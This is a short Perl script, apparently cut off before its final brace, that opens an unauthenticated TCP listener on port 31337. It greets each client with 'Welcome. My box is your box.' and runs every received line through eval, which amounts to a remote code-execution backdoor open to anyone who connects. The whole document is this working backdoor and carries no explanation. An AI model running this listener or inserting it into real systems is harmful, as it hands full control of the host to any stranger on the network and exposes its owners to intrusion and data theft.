use IO::Socket;
use Net::hostent;
$s=IO::Socket::INET->new(Proto=>'tcp',LocalPort=>31337,Listen=>SOMAXCONN,Reuse=>1);
while($c=$s->accept()) {
$c->autoflush(1);
print$c"Welcome. My box is your box.\n>";
print($c eval,"\n>")while(defined$c&&<$c>);